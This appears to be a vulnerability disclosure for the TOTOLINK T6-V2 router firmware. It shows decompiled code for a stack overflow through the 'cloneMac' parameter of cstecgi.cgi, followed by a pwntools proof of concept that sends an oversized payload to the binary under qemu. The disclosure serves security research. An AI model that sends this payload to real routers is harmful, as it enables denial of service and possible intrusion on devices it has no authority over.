d1tto add totolink T6-v2 ... on May 29 History

..

img	6 months ago
readme.md	6 months ago

readme.md

Overview

- The device's official website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=products&id=16&ids=33
- Firmware download website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=16&ids=36

Affected version

T6-V2 V4.1.9cu.5179_B20201015

Vulnerability details

The vulnerability exists in the router's WEB component. `/web_cste/cgi-bin/cstecgi.cgi` `FUN_0041621c` (at address 0x41621c) gets the JSON parameter `cloneMac`, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

```
Decompile: FUN_0041621c -  (cstecgi.cgi)
 94     local_90 = 1;
 95     apmib_set(0x16,&local_90);
 96     system("ifconfig wlan0-vxd down");
 97     system("csteSys csnl 6 0");
 98   }
 99   pcVar1 = (char *)websGetVar(param_1,"proto","0");
100   local_98 = atoi(pcVar1);
101   apmib_set(0x68,&local_98);
102   if (local_98 == 0) {
103     pcVar1 = (char *)websGetVar(param_1,"staticIp","");
104     pcVar2 = (char *)websGetVar(param_1,"staticMask","0");
105     pcVar3 = (char *)websGetVar(param_1,"staticGw","");
106     pcVar4 = (char *)websGetVar(param_1,"staticMtu",&DAT_00427f98);
107     local_d4 = atoi(pcVar4);
108     apmib_set(0x9d,&local_d4);
109     iVar5 = inet_aton(pcVar1,&iStack256);
110     if (iVar5 != 0) {
111       apmib_set(0x65,&iStack256);
112       iVar5 = inet_aton(pcVar2,&iStack252);
113       if (iVar5 != 0) {
114         apmib_set(0x66,&iStack252);
115         iVar5 = inet_aton(pcVar3,&iStack248);
116         if (iVar5 != 0) {
117           apmib_set(0x67,&iStack248);
118           FUN_0041271c(param_1);
119           goto LAB_00416a9c;
120         }
121       }
122     }
123     goto LAB_0041717c;
124   }
125   if (local_98 == 1) {
126     pcVar1 = (char *)websGetVar(param_1,"dhcpMtu",&DAT_00427f98);
127     local_d4 = atoi(pcVar1);
```

When parameter `proto` is equal to `1`, program will enter the danger if branch at line 125. Then the program gets the parameter `cloneMac`, splits it, and connects the segmented string to local variables in the stack without checking its length.

Decompile: FUN_0041621c - (cstecgi.cgi)

```
127     local_d4 = atoi(pcVar1);
128     apmib_set(0x9e,&local_d4);
129     FUN_0041271c(param_1);
130 LAB_00416a9c:
131     websGetVar(param_1,"clone","0");
132     pcVar1 = (char *)websGetVar(param_1,"cloneMac","");
133     local_6c = 0;
134     local_68 = 0;
135     local_64 = 0;
136     local_60 = 0;
137     local_5c = 0;
138     local_58 = 0;
139     local_54 = 0;
140     local_50 = 0;
141     local_4c = 0;
142     local_48 = 0;
143     local_44 = 0;
144     local_40 = 0;
145     local_3c = 0;
146     local_38 = 0;
147     local_34 = 0;
148     local_30 = 0;
149     if (pcVar1 != (char *)0x0) {
150       pcVar1 = strtok(pcVar1,":");
151       if (pcVar1 == (char *)0x0) goto LAB_0041717c;
152       strcat((char *)&local_6c,pcVar1);
153       while( true ) {
154         pcVar1 = strtok((char *)0x0,":");
155         if (pcVar1 == (char *)0x0) break;
156         strcat((char *)&local_6c,pcVar1);
157       }
158       FUN_004232bc(&local_6c,&local_4c,0xc);
159       apmib_set(100,&local_4c);
160     }
```

PoC

```
from pwn import *
import json

data = {
    "topicurl": "setting/setWizardCfg",
    "proto": "1",
    "cloneMac": "A"*0x400 + ":" + "A"
}

data = json.dumps(data)
print(data)

argv = [
    "qemu-mipsel-static",
    "-g", "1234",
    "-L", "./root/",
```

```
    "-E", "CONTENT_LENGTH={}".format(len(data)),
    "-E", "REMOTE_ADDR=192.168.2.1",
    "./cstecgi.cgi"
]

a = process(argv=argv)
a.sendline(data.encode())

a.interactive()
```